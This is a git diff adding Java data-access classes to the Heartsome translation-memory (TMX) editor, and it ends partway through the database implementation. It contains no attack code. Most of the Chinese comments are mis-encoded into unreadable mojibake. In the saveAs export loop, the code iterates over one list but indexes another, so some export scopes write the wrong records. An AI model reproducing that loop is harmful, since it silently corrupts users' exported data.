[LOG]\u8fc7\u6ee4\u6e90\u6587\u76f8\u540c\u8bd1\u6587\u4e0d\u540c\u7684\u6587\u672c\u6bb5\u5b58\u5728\u5f02\u5e38\u3002 +utils.TmxFilterQueryUtil.LOG.getTgtSameButSrcTU = [LOG]\u8fc7\u6ee4\u8bd1\u6587\u76f8\u540c\u6e90\u6587\u4e0d\u540c\u7684\u6587\u672c\u6bb5\u5b58\u5728\u5f02\u5e38\u3002 +utils.TmxFilterQueryUtil.LOG.getDuplicateSrcTU = [LOG]\u8fc7\u6ee4\u91cd\u590d\u6587\u672c\u6bb5\u5b58\u5728\u5f02\u5e38\u3002 +utils.TmxFilterQueryUtil.LOG.getWithNoteSegTU = [LOG]\u8fc7\u6ee4\u5e26\u6279\u6ce8\u7684\u6587\u672c\u6bb5\u5b58\u5728\u5f02\u5e38\u3002 +utils.TmxFilterQueryUtil.LOG.getWithGarbleSegTU = [LOG]\u8fc7\u6ee4\u5e26\u4e71\u7801\u7684\u6587\u672c\u6bb5\u5b58\u5728\u5f02\u5e38\u3002 +utils.TmxFilterQueryUtil.LOG.getTgtNullSegTU = [LOG]\u8fc7\u6ee4\u8bd1\u6587\u4e3a\u7a7a\u7684\u6587\u672c\u6bb5\u5b58\u5728\u5f02\u5e38\u3002 \ No newline at end of file diff --git a/te/net.heartsome.cat.te.core/src/net/heartsome/cat/te/core/tmxdata/AbstractTmxDataAccess.java b/te/net.heartsome.cat.te.core/src/net/heartsome/cat/te/core/tmxdata/AbstractTmxDataAccess.java new file mode 100644 index 0000000..c3a42df --- /dev/null +++ b/te/net.heartsome.cat.te.core/src/net/heartsome/cat/te/core/tmxdata/AbstractTmxDataAccess.java @@ -0,0 +1,435 @@ +/** + * AbstractTmxDataAccess.java + * + * Version information : + * + * Date:2013/5/17 + * + * Copyright notice : + * 本文件åŠå…¶é™„带的相关文件包å«æœºå¯†ä¿¡æ¯ï¼Œä»…é™ç€šç‰¹ç››ç§‘技有é™å…¬å¸æŒ‡å®šçš„,与本项目有关的内部人员和客户è”络人员查阅和使用。 + * 如果您ä¸æ˜¯æœ¬ä¿å¯†å£°æ˜Žä¸­æŒ‡å®šçš„收件者,请立å³é”€æ¯æœ¬æ–‡ä»¶ï¼Œç¦æ­¢å¯¹æœ¬æ–‡ä»¶æˆ–æ ¹æ®æœ¬æ–‡ä»¶ä¸­çš„内容采å–任何其他行动, + * 包括但ä¸é™äºŽï¼šæ³„露本文件中的信æ¯ã€ä»¥ä»»ä½•æ–¹å¼åˆ¶ä½œæœ¬æ–‡ä»¶å…¨éƒ¨æˆ–部分内容之副本ã€å°†æœ¬æ–‡ä»¶æˆ–其相关副本æ供给任何其他人。 + */ + +package net.heartsome.cat.te.core.tmxdata; + +import java.io.FileOutputStream; +import java.io.IOException; +import java.io.UnsupportedEncodingException; +import java.util.ArrayList; +import java.util.List; +import java.util.Map; + +import net.heartsome.cat.common.bean.TmxNote; +import net.heartsome.cat.common.bean.TmxProp; +import net.heartsome.cat.common.bean.TmxSegement; +import net.heartsome.cat.common.bean.TmxTU; +import net.heartsome.cat.te.core.TeCoreConstant; +import net.heartsome.cat.te.core.bean.ExportBean; +import net.heartsome.cat.te.core.bean.TmxEditorFilterBean; +import net.heartsome.cat.te.core.bean.TmxPropertiesBean; + +import org.eclipse.core.runtime.IProgressMonitor; + +public abstract class AbstractTmxDataAccess { + protected List tuIdentifiers; + protected TmxPropertiesBean tmxPropertiesBean; + protected String currSrcLang; + protected String currTgtLang; + + protected boolean isDirty = false; + + /** TMX 中存在的语言类型,ä¸åŒ…括æºè¯­è¨€ */ + protected List langList; + + private List dataChangeListener; + + private TmxContainer tmxContainer; + public AbstractTmxDataAccess(TmxContainer container) { + tuIdentifiers = new ArrayList(); + langList = new ArrayList(); + dataChangeListener = new ArrayList(); + this.tmxContainer = container; + } + + public TmxContainer getTmxContainer() { + return tmxContainer; + } + + public String getCurrSrcLang() { + return currSrcLang; + } + + public String getCurrTgtLang() { + return currTgtLang; + } + + /** + * @return TMX 中存在的语言类型,ä¸åŒ…括æºè¯­è¨€; + */ + public List getLangList() { + return langList; + } + + public int getDisplayTuCount() { + if (tuIdentifiers == null) { + return 0; + } + return tuIdentifiers.size(); + } + + public List getDisplayTuIdentifiers() { + return tuIdentifiers; + } + + /** + * Note: 如果是 TMDB 则返属åªä¼šåŒ…å«ç›®æ ‡è¯­è¨€å±žæ€§ Get TMX 文件相关属性, + * @return null or TmxPropertiesBean; + */ + public TmxPropertiesBean getTmxProperties() { + if (tmxPropertiesBean == null) { + tmxPropertiesBean = loadTmxProperties(); + } + return tmxPropertiesBean; + } + + public String getTuIndentifierByRowIndex(int rowIndex) { + if (tuIdentifiers == null) { + return ""; + } + return tuIdentifiers.get(rowIndex); + } + + public boolean isDirty(){ + return isDirty; + } + + public void setDirty(boolean isDirty){ + if (this.isDirty != isDirty) { + this.isDirty = isDirty; + for(ITmxDataChangeListener l : dataChangeListener){ + l.tmxDataChanged(); + } + } + } + + public void addTmxDataChangeListener(ITmxDataChangeListener l){ + if(!this.dataChangeListener.contains(l)){ + this.dataChangeListener.add(l); + } + } + + public void removeTmxDataChangeListener(ITmxDataChangeListener l){ + this.dataChangeListener.remove(l); + } + + public abstract boolean isSourceExist(); + + public abstract String retrieveTuXml(int tuIdentifier); + + public abstract void closeTmxDataAccess(IProgressMonitor monitor) throws Exception; + + public abstract void save(IProgressMonitor monitor) throws Exception; + + public abstract void saveAs(IProgressMonitor monitor, ExportBean exportBean); + + public abstract TmxPropertiesBean loadTmxProperties(); + + /** + * æ ¹æ®å½“å‰è¿‡æ»¤æ¡ä»¶ã€æºè¯­è¨€ã€ç›®æ ‡è¯­è¨€ï¼Œä»¥åŠå½“å‰å¯¹è±¡æ˜¯å¦æ˜¯å¤šç›®æ ‡åŠ è½½éœ€è¦æ˜¾ç¤ºçš„ TU 的唯一标识 + * @param filterBean + * TmxEditorFilterBean + * @param srcLang + * source Language + * @param tgtLang + * target Language + * @param isMultiTarget + * is or not has multi target language ; + */ + public abstract void loadDisplayTuIdentifierByFilter(IProgressMonitor monitor,TmxEditorFilterBean filterBean, String srcLang, + String tgtLang, String srcSearchText, String tgtSearchText); + + /** + * å°†TU生æˆTMX文件节点æ’入到TMX文件末尾,并将这个记录添加到当å‰è¿‡æ»¤æ¡ä»¶ä¸­ï¼Œæˆ–者将TU内容æ’入到数æ®åº“中。 + * @param tu + * @param current Selected TU identifier + * @return return new TU identifier + **/ + public abstract String addTu(TmxTU tu, String selTuIdentifer); + + /** + * 删除一个TU,如果TUåªæœ‰ä¸‰ä¸ªTUV,直接删除整个TU节点,如果TU下超出了三个TUV(多语言对的情况下),则åªåˆ é™¤å½“å‰æºå’Œç›®æ ‡å¯¹åº”çš„TUV节点。需è¦æ›´æ–°ä¿®æ”¹æ—¶é—´ã€‚ + * @see deleteTu + * @param tuIdentifiers + **/ + public abstract void deleteTus(String[] tuIdentifiers, IProgressMonitor monitor); + + /** + * 1.å°†newText写入到Tmx文件或者TmDb
    + * 2.å°†newText更新到TmxSegement对象中。 + * @param newText + * @param tu + * @param tuv + **/ + public abstract void updateTuvContent(String identifier, String newText, TmxTU tu, TmxSegement tuv); + + public abstract int addTuNote(String tuIdentifier, TmxTU tu, String content); + public int addTuNote(Map tus, String content) {return 0;}; + + public abstract void updateTuNote(String tuIdnetifier, TmxTU tu, TmxNote note, String newContent); + public void updateTuNote(Map tus, TmxNote note, String newContent) {} + + public abstract void deleteTuNote(String tuIdentifier, TmxTU tu, TmxNote deleteNote); + public void deleteTuNote(Map tus, TmxNote deleteNote) {} + + public abstract int addTuProp(String tuIdentifier, TmxTU tu, String propType, String newContent); + public int addTuProp(Map tus, String propType, String newContent) {return 0;} + + public abstract void updateTuProp(String tuIdentifier, TmxTU tu, TmxProp prop, String propType, String newContent); + public void updateTuProp(Map tus, TmxProp prop, String propType, String newContent) {} + + public abstract void deleteTuProp(String tuIdentifier, TmxTU tu, TmxProp deleteProp); + public void deleteTuProp(Map tus, TmxProp deleteProp){}; + public void deleteTuPropByType(Map tus, String name){}; + + public abstract void addTuAttribute(String tuIdentifier, TmxTU tu, String name, String value); + + public abstract void updateTuAttribute(String tuIdentifier, TmxTU tu, String name, String newValue); + public void updateTuAttribute(Map tus, String name, String newValue){}; + + public abstract void deleteTuAttribute(String tuIdentifier, TmxTU tu, String name); + public void deleteTuAttribute(Map tus, String name){}; + + public abstract void addTuvAttribute(String tuIdentifier, TmxSegement tuv, String name, String value); + + public abstract void updateTuvAttribute(String tuIdentifier, TmxSegement tuv, String name, String newValue); + + public abstract void deleteTuvAttribute(String tuIdentifier, TmxSegement tuv, String name); + + /** + * @return 包å«åœ¨å½“显示的记录中 + * @param tgtLangCode + **/ + public abstract List getTgtEmptyTU(String tgtLangCode); + + /** + * @return 包å«åœ¨å½“显示的记录中 + * @param srcLang + * @param tgtLang + * @param boolean isIgnoreTag + **/ + public abstract List getDuplicatedTU(String srcLang, String tgtLang, boolean isIgnoreTag); + + /** + * @return 包å«åœ¨å½“显示的记录中 + * @param srcLang + * @param tgtLang + * @param boolean isIgnoreTag + **/ + public abstract List getDuplicatedSrcDiffTgtTU(String srcLang, String tgtLang, boolean isIgnoreTag); + + /** + * 从物ç†å­˜å‚¨ç³»ç»Ÿä¸­è¯»å– TmxTU + * @param tuIdentifier + **/ + public abstract TmxTU getTuByIdentifier(String tuIdentifier); + + /** + * 删除目标语言为空的文本段 + * + * @param monitor + * :为一个å­ä»»åŠ¡ï¼Œåœ¨å‡½æ•°å†…执行beginå’Œdone + * @return ; + */ + public abstract boolean deleteTgtEmpty(IProgressMonitor monitor,boolean ignoreTag); + + /** + * 删除é‡å¤çš„文本段 + * @param monitor + * :为一个å­ä»»åŠ¡ï¼Œåœ¨å‡½æ•°å†…执行beginå’Œdone + * @param ignoreTag + * @return ; + */ + public abstract boolean deleteDupaicate(IProgressMonitor monitor, boolean ignoreTag,boolean ignoreCase); + + + /** + * 删除相åŒåŽŸæ–‡ä¸åŒè¯‘文的TU,删除时如果TU中åªæœ‰2个TUV,则直接删除TU;如果TU中有超过2个TUV则åªåˆ é™¤å½“å‰TUV + * @param monitor + * :为一个å­ä»»åŠ¡ï¼Œåœ¨å‡½æ•°å†…执行beginå’Œdone + * @param ignoreTag + * :是å¦å¿½ç•¥æ ‡è®° + * @return ; + */ + + public abstract boolean deleteSameSrcDiffTgt(IProgressMonitor monitor, boolean ignoreTag,boolean ignoreCase); + + /** + * 删除段末段未空格 + * @param monitor + * :为一个å­ä»»åŠ¡ï¼Œåœ¨å‡½æ•°å†…执行beginå’Œdone + * @param ignoreTag + * @return ; + */ + public abstract boolean deleteEndsSpaces(IProgressMonitor monitor); + + /** + * 批é‡æ›´æ–° tu 节点属性,如果ä¸å­˜åœ¨æ­¤å±žæ€§ï¼Œåˆ™æ·»åŠ ã€‚ + * @param monitor è¿›åº¦æ¡ + * @param name 属性å + * @param value 新的属性值 + * @param filter 如果为 {@link TeCoreConstant#FILTERID_allSeg} 则更新整个文件/记忆库,å¦åˆ™åªæ›´æ–°å½“å‰ç»“果,å¯ä»¥ä¸º null; + */ + public abstract void batchUpdateTuAttr(IProgressMonitor monitor, String name, String value, String filter); + + /** + * 批é‡åˆ é™¤ tu 节点属性。 + * @param monitor è¿›åº¦æ¡ + * @param name 属性å + * @param filter 如果为 {@link TeCoreConstant#FILTERID_allSeg} 则更新整个文件/记忆库,å¦åˆ™åªæ›´æ–°å½“å‰ç»“果,å¯ä»¥ä¸º null; + */ + public abstract void batchDeleteTuAttr(IProgressMonitor monitor, String name, String filter); + + /** + * 批é‡æ·»åŠ  prop 节点,为所有 tu 添加此 prop。 + * @param monitor è¿›åº¦æ¡ + * @param type prop 节点的 type 属性值 + * @param content prop 节点的内容 + * @param filter 如果为 {@link TeCoreConstant#FILTERID_allSeg} 则更新整个文件/记忆库,å¦åˆ™åªæ›´æ–°å½“å‰ç»“果,å¯ä»¥ä¸º null; + */ + public abstract void batchAddTmxProp(IProgressMonitor monitor, String type, String content, String filter); + + /** + * 批é‡æ›´æ–° prop 节点 + * @param monitor è¿›åº¦æ¡ + * @param prop 原 {@link TmxProp} 节点 + * @param propType æ›´æ–°åŽçš„ prop type 属性值 + * @param content æ›´æ–°åŽçš„ prop 节点内容 + * @param filter 如果为 {@link TeCoreConstant#FILTERID_allSeg} 则更新整个文件/记忆库,å¦åˆ™åªæ›´æ–°å½“å‰ç»“果,å¯ä»¥ä¸º null; + */ + public abstract void batchUpdateTmxProp(IProgressMonitor monitor, TmxProp prop, String propType, String content, + String filter); + + /** + * 批é‡åˆ é™¤ prop 节点。 + * @param monitor è¿›åº¦æ¡ + * @param prop 需删除的 {@link TmxProp} 节点 + * @param filter 如果为 {@link TeCoreConstant#FILTERID_allSeg} 则更新整个文件/记忆库,å¦åˆ™åªæ›´æ–°å½“å‰ç»“果,å¯ä»¥ä¸º null; + */ + public abstract void batchDeleteTmxProp(IProgressMonitor monitor, TmxProp prop, String filter); + public void batchDeleteTmxPropByType(IProgressMonitor monitor, String name, String filter) {} + + /** + * 批é‡æ›´æ–° tuv 属性,如果ä¸å­˜åœ¨æ­¤å±žæ€§ï¼Œåˆ™æ·»åŠ ã€‚ + * @param monitor è¿›åº¦æ¡ + * @param name 属性å + * @param value 新的属性值 + * @param langs tuv 的语言代ç é›†åˆ + * @param filter 如果为 {@link TeCoreConstant#FILTERID_allSeg} 则更新整个文件/记忆库,å¦åˆ™åªæ›´æ–°å½“å‰ç»“果,å¯ä»¥ä¸º null; + */ + public abstract void batchUpdateTuvAttr(IProgressMonitor monitor, String name, String value, List langs, + String filter); + + /** + * 批é‡åˆ é™¤ tuv 属性。 + * @param monitor è¿›åº¦æ¡ + * @param name 属性å + * @param langs 属性值 + * @param filter 如果为 {@link TeCoreConstant#FILTERID_allSeg} 则更新整个文件/记忆库,å¦åˆ™åªæ›´æ–°å½“å‰ç»“果,å¯ä»¥ä¸º null; + */ + public abstract void batchDeleteTuvAttr(IProgressMonitor monitor, String name, List langs, String filter); + + /** + * 批é‡æ·»åŠ  note 节点。 + * @param monitor è¿›åº¦æ¡ + * @param content note节点内容 + * @param filter 如果为 {@link TeCoreConstant#FILTERID_allSeg} 则更新整个文件/记忆库,å¦åˆ™åªæ›´æ–°å½“å‰ç»“果,å¯ä»¥ä¸º null; + */ + public abstract void batchAddTmxNote(IProgressMonitor monitor, String content, String filter); + + /** + * 批é‡æ›´æ–° note 节点。 + * @param monitor è¿›åº¦æ¡ + * @param oldContent 原 note 内容 + * @param newContent æ–° note 内容 + * @param filter 如果为 {@link TeCoreConstant#FILTERID_allSeg} 则更新整个文件/记忆库,å¦åˆ™åªæ›´æ–°å½“å‰ç»“果,å¯ä»¥ä¸º null; + */ + public abstract void batchUpdateTmxNote(IProgressMonitor monitor, String oldContent, String newContent, String filter); + + /** + * 批é‡åˆ é™¤ note 节点。 + * @param monitor è¿›åº¦æ¡ + * @param content note 节点内容 + * @param filter 如果为 {@link TeCoreConstant#FILTERID_allSeg} 则更新整个文件/记忆库,å¦åˆ™åªæ›´æ–°å½“å‰ç»“果,å¯ä»¥ä¸º null; + */ + public abstract void batchDeleteTmxNote(IProgressMonitor monitor, String content, String filter); + + /** + * 开始进行å“质检查 --robert 2013-09-18 + */ + public abstract void beginQA(String srcLangCode, String tgtLangCode, boolean ignoreTag, boolean ignoreCase); + + public abstract boolean isReadOnly(); + /** + * 更新缓存中 {@link TmxTU} 的内容。 + * @param tu tu 引用 + * @param name 属性å + * @param newValue 新的属性值; + */ + public void updateCacheTuAttr(TmxTU tu, String name, String newValue) { + if ("creationid".equals(name)) { + tu.setCreationUser(newValue); + } else if ("creationdate".equals(name)) { + tu.setCreationDate(newValue); + } else if ("changedate".equals(name)) { + tu.setChangeDate(newValue); + } else if ("changeid".equals(name)) { + tu.setChangeUser(newValue); + } else if ("creationtool".equals(name)) { + tu.setCreationTool(newValue); + } else if ("creationtoolversion".equals(name)) { + tu.setCreationToolVersion(newValue); + } else if ("tuid".equals(name)) { + tu.setTuId(newValue); + } + } + + /** + * 更新缓存中的 {@link TmxSegement} 内容。 + * @param tuv tuv 引用 + * @param name 属性å + * @param newValue 新的属性值; + */ + public void updateCacheTuvAttr(TmxSegement tuv, String name, String newValue) { + if ("creationid".equals(name)) { + tuv.setCreationUser(newValue); + } else if ("creationdate".equals(name)) { + tuv.setCreationDate(newValue); + } else if ("changedate".equals(name)) { + tuv.setChangeDate(newValue); + } else if ("changeid".equals(name)) { + tuv.setChangeUser(newValue); + } else if ("creationtool".equals(name)) { + tuv.setCreationTool(newValue); + } else if ("creationtoolversion".equals(name)) { + tuv.setCreationToolVersion(newValue); + } + } + + /** + * 将内容写入文件 + * @param string + * @throws UnsupportedEncodingException + * @throws IOException ; + */ + public void writeString(FileOutputStream os, String string, String encoding) throws UnsupportedEncodingException, IOException { + os.write(string.getBytes(encoding)); + } + + public void updateTuPropType(Map tus, TmxProp prop, String name) { + } + + public void batchUpdateTmxPropType(IProgressMonitor monitor, TmxProp prop, String name, String filter) { + + } +} diff --git a/te/net.heartsome.cat.te.core/src/net/heartsome/cat/te/core/tmxdata/DataAccessFactory.java b/te/net.heartsome.cat.te.core/src/net/heartsome/cat/te/core/tmxdata/DataAccessFactory.java new file mode 100644 index 0000000..31a3203 --- /dev/null +++ b/te/net.heartsome.cat.te.core/src/net/heartsome/cat/te/core/tmxdata/DataAccessFactory.java @@ -0,0 +1,41 @@ +/** + * DataAccessFactory.java + * + * Version information : + * + * Date:2013/5/17 + * + * Copyright notice : + * 本文件åŠå…¶é™„带的相关文件包å«æœºå¯†ä¿¡æ¯ï¼Œä»…é™ç€šç‰¹ç››ç§‘技有é™å…¬å¸æŒ‡å®šçš„,与本项目有关的内部人员和客户è”络人员查阅和使用。 + * 如果您ä¸æ˜¯æœ¬ä¿å¯†å£°æ˜Žä¸­æŒ‡å®šçš„收件者,请立å³é”€æ¯æœ¬æ–‡ä»¶ï¼Œç¦æ­¢å¯¹æœ¬æ–‡ä»¶æˆ–æ ¹æ®æœ¬æ–‡ä»¶ä¸­çš„内容采å–任何其他行动, + * 包括但ä¸é™äºŽï¼šæ³„露本文件中的信æ¯ã€ä»¥ä»»ä½•æ–¹å¼åˆ¶ä½œæœ¬æ–‡ä»¶å…¨éƒ¨æˆ–部分内容之副本ã€å°†æœ¬æ–‡ä»¶æˆ–其相关副本æ供给任何其他人。 + */ + +package net.heartsome.cat.te.core.tmxdata; + +import net.heartsome.cat.te.core.utils.TeCoreUtils; + +public final class DataAccessFactory { + public static AbstractTmxDataAccess createDataAccess(TmxContainer container) { + if (container instanceof TmxFileContainer) { + TmxFileContainer fileContainer = (TmxFileContainer) container; + AbstractTmxDataAccess dataAccess = new TmxFileDataAccess(fileContainer); + return dataAccess; + } + + if(container instanceof TmxLargeFileContainer){ + TmxLargeFileContainer fileContainer = (TmxLargeFileContainer) container; + if(!TeCoreUtils.validateTmxContainer(fileContainer)){ + return null; + } + AbstractTmxDataAccess dataAccess = new TmxLargeFileDataAccess(fileContainer); + return dataAccess; + } + if (container instanceof TmxDbContainer) { + TmxDbContainer tmxDbContainer = (TmxDbContainer) container; + AbstractTmxDataAccess dataAccess = new DatabaseDataAccess(tmxDbContainer); + return dataAccess; + } + return null; + } +} diff --git a/te/net.heartsome.cat.te.core/src/net/heartsome/cat/te/core/tmxdata/DatabaseDataAccess.java b/te/net.heartsome.cat.te.core/src/net/heartsome/cat/te/core/tmxdata/DatabaseDataAccess.java new file mode 100644 index 0000000..d444ec8 --- /dev/null +++ b/te/net.heartsome.cat.te.core/src/net/heartsome/cat/te/core/tmxdata/DatabaseDataAccess.java @@ -0,0 +1,1644 @@ +/** + * DatabaseDataAccess.java + * + * Version information : + * + * Date:2013/5/17 + * + * Copyright notice : + * 本文件åŠå…¶é™„带的相关文件包å«æœºå¯†ä¿¡æ¯ï¼Œä»…é™ç€šç‰¹ç››ç§‘技有é™å…¬å¸æŒ‡å®šçš„,与本项目有关的内部人员和客户è”络人员查阅和使用。 + * 如果您ä¸æ˜¯æœ¬ä¿å¯†å£°æ˜Žä¸­æŒ‡å®šçš„收件者,请立å³é”€æ¯æœ¬æ–‡ä»¶ï¼Œç¦æ­¢å¯¹æœ¬æ–‡ä»¶æˆ–æ ¹æ®æœ¬æ–‡ä»¶ä¸­çš„内容采å–任何其他行动, + * 包括但ä¸é™äºŽï¼šæ³„露本文件中的信æ¯ã€ä»¥ä»»ä½•æ–¹å¼åˆ¶ä½œæœ¬æ–‡ä»¶å…¨éƒ¨æˆ–部分内容之副本ã€å°†æœ¬æ–‡ä»¶æˆ–其相关副本æ供给任何其他人。 + */ + +package net.heartsome.cat.te.core.tmxdata; + +import java.io.FileOutputStream; +import java.io.IOException; +import java.sql.Connection; +import java.sql.ResultSet; +import java.sql.SQLException; +import java.sql.Statement; +import java.util.ArrayList; +import java.util.LinkedList; +import java.util.List; +import java.util.Map; +import java.util.Map.Entry; + +import net.heartsome.cat.common.bean.TmxHeader; +import net.heartsome.cat.common.bean.TmxNote; +import net.heartsome.cat.common.bean.TmxProp; +import net.heartsome.cat.common.bean.TmxSegement; +import net.heartsome.cat.common.bean.TmxTU; +import net.heartsome.cat.common.ui.utils.OpenMessageUtils; +import net.heartsome.cat.common.util.DateUtils; +import net.heartsome.cat.common.util.TextUtil; +import net.heartsome.cat.database.DBConfig; +import net.heartsome.cat.database.DBOperator; +import net.heartsome.cat.database.TMXDBOperatorFacade; +import net.heartsome.cat.database.Utils; +import net.heartsome.cat.te.core.Activator; +import net.heartsome.cat.te.core.TeCoreConstant; +import net.heartsome.cat.te.core.bean.ExportBean; +import net.heartsome.cat.te.core.bean.Property; +import net.heartsome.cat.te.core.bean.TmxEditorFilterBean; +import net.heartsome.cat.te.core.bean.TmxPropertiesBean; +import net.heartsome.cat.te.core.bean.TmxTemplet; +import net.heartsome.cat.te.core.converter.tbx.AppendTmxWriter; +import net.heartsome.cat.te.core.resource.Messages; +import net.heartsome.cat.te.core.utils.DatabaseAccessUtils; + +import org.eclipse.core.runtime.Assert; +import org.eclipse.core.runtime.IProgressMonitor; +import org.eclipse.core.runtime.IStatus; +import org.eclipse.core.runtime.NullProgressMonitor; +import org.eclipse.core.runtime.SubProgressMonitor; +import org.eclipse.jface.preference.IPreferenceStore; +import org.slf4j.Logger; +import org.slf4j.LoggerFactory; + +public class DatabaseDataAccess extends AbstractTmxDataAccess { + + public static final Logger LOGGER = LoggerFactory.getLogger(DatabaseDataAccess.class); + + private TmxDbContainer container; + + private TMXDBOperatorFacade facade; + + public DatabaseDataAccess(TmxDbContainer container) { + super(container); + this.container = container; + facade = new TMXDBOperatorFacade(container.getDbOp()); + } + + public String retrieveTuXml(int tuIdentifier) { + return null; + } + + public void closeTmxDataAccess(IProgressMonitor monitor) { + if (container != null) { + container.closeDatabaseConnection(); + } + container = null; + } + + @Override + public void save(IProgressMonitor monitor) { + // Nothing to do + } + + @Override + public void saveAs(IProgressMonitor monitor, ExportBean exportBean) { + // ExportDatabaseBean eBean = new ExportDatabaseBean(container.getDbOp().getMetaData(), ""); + // List ls = new ArrayList(); + // ls.add(currSrcLang); + // ls.add(currTgtLang); + // eBean.setHasSelectedLangs(ls); + // eBean.setExportFilePath(newFilePath); + // eBean.setSrcLang(currSrcLang); + // List lb = new ArrayList(); + // lb.add(eBean); + // ExportAbstract exp = new ExportTmxImpl(lb, null, "UTF-8", false, false); + // final String result = exp.executeExport(monitor); + // Display.getDefault().syncExec(new Runnable() { + // public void run() { + // MessageDialog.openInformation(Display.getDefault().getActiveShell(), + // Messages.getString("dialog.ExportTmxDialog.msgTitle"), result); + // } + // }); + int scope = exportBean.getExportScope(); + List ids = null; + switch (scope) { + case 1: // all filter TU + ids = tuIdentifiers; + break; + case 2: // all selected TU + ids = exportBean.getSelectIds(); + break; + case 3: // all TU + ids = null; + break; + } + DBOperator dbOp = container.getDbOp(); + List langs = new ArrayList(); + langs.add(currSrcLang); + langs.add(currTgtLang); + if (!exportBean.isAppend()) { + FileOutputStream os = null; + try { + os = new FileOutputStream(exportBean.getTargetFile()); + String encoding = "UTF-8"; + writeString(os, TmxTemplet.genertateTmxXmlDeclar(), encoding); + writeString(os, "\n", encoding); + TmxHeader header = TmxTemplet.generateTmxHeader(currSrcLang, "unknown", "sentence", + "Heartsome TM Server", null, null, null); + writeString(os, TmxTemplet.header2Xml(header), encoding); + writeString(os, "\n", encoding); + if (ids == null) { + List s = dbOp.getAllTuPkByLang(currSrcLang, currTgtLang, "", ""); + ids = new ArrayList(); + for (int i : s) { + ids.add(i + ""); + } + } + for (int i = 0; i < ids.size(); i++) { + int tuPk = Integer.parseInt(tuIdentifiers.get(i)); + String tuNodeContent = dbOp.retrieveTu(tuPk, langs, false, false); + if (tuNodeContent != null && !tuNodeContent.equals("")) { + writeString(os, tuNodeContent, encoding); + } + } + writeString(os, "\n", encoding); + writeString(os, "\n", encoding); + } catch (Exception e) { + LOGGER.error("", e); + } finally { + if (os != null) { + try { + os.close(); + } catch (IOException e) { + LOGGER.error("", e); + } + } + } + } else { + AppendTmxWriter tmxAppendWriter; + try { + if (ids == null) { + List s = dbOp.getAllTuPkByLang(currSrcLang, currTgtLang, "", ""); + ids = new ArrayList(); + for (int i : s) { + ids.add(i + ""); + } + } + tmxAppendWriter = new AppendTmxWriter(exportBean.getTargetFile()); + String aSrcLang = tmxAppendWriter.getSrcLang(); + if (currSrcLang.equals(aSrcLang)) { + tmxAppendWriter.startAppend(); + for (int i = 0; i < ids.size(); i++) { + int tuPk = Integer.parseInt(tuIdentifiers.get(i)); + String tuNodeContent = dbOp.retrieveTu(tuPk, langs, false, false); + if (tuNodeContent != null && !tuNodeContent.equals("")) { + tmxAppendWriter.writeXmlString(tuNodeContent); + } + } + tmxAppendWriter.writeEnd(); + tmxAppendWriter.closeOutStream(); + } else { + OpenMessageUtils.openMessage(IStatus.ERROR, ""); + } + } catch (Exception e) { + e.printStackTrace(); + } + + } + } + + /** + * Return null; (non-Javadoc) + * @see net.heartsome.cat.te.core.tmxdata.AbstractTmxDataAccess#loadTmxProperties() + */ + public TmxPropertiesBean loadTmxProperties() { + TmxPropertiesBean bean = new TmxPropertiesBean(); + DBOperator dbOp = container.getDbOp(); + try { + List lang = dbOp.getLanguages(); + if (lang.size() == 0) { + return null; + } + String srcLang = lang.get(0); + bean.setSrcLang(srcLang); + lang.remove(0); + bean.setTargetLang(lang); + // facade.setLangs(srcLang, lang.get(0)); + // init super langs + super.currSrcLang = srcLang; + super.currTgtLang = lang.get(0); + super.langList.addAll(lang); + + } catch (SQLException e) { + LOGGER.error("", e); + } + return bean; + } + + /** + * (non-Javadoc) + * @see net.heartsome.cat.te.core.tmxdata.AbstractTmxDataAccess#loadDisplayTuIdentifierByFilter(net.heartsome.cat.te.core.bean.TmxEditorFilterBean, + * java.lang.String, java.lang.String, boolean) + */ + public void loadDisplayTuIdentifierByFilter(IProgressMonitor monitor, TmxEditorFilterBean filterBean, + String srcLang, String tgtLang, String srcSearchText, String tgtSearchText) { + if (monitor == null) { + monitor = new NullProgressMonitor(); + } + + Assert.isLegal(srcLang != null && srcLang.length() > 0 && tgtLang != null && tgtLang.length() > 0); + IPreferenceStore store = Activator.getDefault().getPreferenceStore(); + boolean ignoreTag = store.getBoolean(TeCoreConstant.FILTER_ignoreTag); + boolean ignoreCase = store.getBoolean(TeCoreConstant.FILTER_ignoreCase); + super.currSrcLang = srcLang; + super.currTgtLang = tgtLang; + + // 设置目标语言和æºè¯­è¨€ + facade.setLangs(srcLang, tgtLang); + try { + monitor.beginTask("", IProgressMonitor.UNKNOWN); + monitor.setTaskName(Messages.getString("core.dataAccess.filter.data.taskname")); + DBOperator dbOp = container.getDbOp(); + dbOp.beginTransaction(); + if (filterBean == null || (filterBean != null && TeCoreConstant.FILTERID_allSeg.equals(filterBean.getId()))) { // 查询所有 + super.tuIdentifiers.clear(); + if (langList.size() == 1 && srcSearchText.length() == 0 && tgtSearchText.length() == 0) { + dbOp.commit(); + // ä¸éœ€è¦è¯­è¨€è¿‡æ»¤,加载全部TU + List ids = dbOp.getAfterFilterTuPk(null, null, null); + for (int i : ids) { + super.tuIdentifiers.add(i + ""); + } + } else { + dbOp.commit(); + List ids = dbOp.getAllTuPkByLang(currSrcLang, currTgtLang, srcSearchText, tgtSearchText); + for (int i : ids) { + super.tuIdentifiers.add(i + ""); + } + } + return; + + } else if (TeCoreConstant.FILTERID_srcSameWIthTgtSeg.equals(filterBean.getId())) { + dbOp.commit(); + List ids = dbOp.getSrcSameWithTgtTuPK(srcLang, tgtLang, ignoreCase, ignoreTag); + super.tuIdentifiers.clear(); + for (int i : ids) { + super.tuIdentifiers.add(i + ""); + } + } else if (TeCoreConstant.FILTERID_srcSameButTgtSeg.equals(filterBean.getId())) { + dbOp.commit(); + List ids = dbOp.getSrcSameButTgtTuPK(srcLang, tgtLang, ignoreCase, ignoreTag); + super.tuIdentifiers.clear(); + for (int i : ids) { + super.tuIdentifiers.add(i + ""); + } + } else if (TeCoreConstant.FILTERID_tgtSameButSrcSeg.equals(filterBean.getId())) { + dbOp.commit(); + List ids = dbOp.getTgtSameButSrcTuPK(srcLang, tgtLang, ignoreCase, ignoreTag); + super.tuIdentifiers.clear(); + for (int i : ids) { + super.tuIdentifiers.add(i + ""); + } + } else if (TeCoreConstant.FILTERID_duplicateSeg.equals(filterBean.getId())) { + dbOp.commit(); + List ids = dbOp.getDuplicateSegTUPK(srcLang, tgtLang, ignoreCase, ignoreTag); + super.tuIdentifiers.clear(); + for (int i : ids) { + super.tuIdentifiers.add(i + ""); + } + } else if (TeCoreConstant.FILTERID_withNoteSeg.equals(filterBean.getId())) { + dbOp.commit(); + 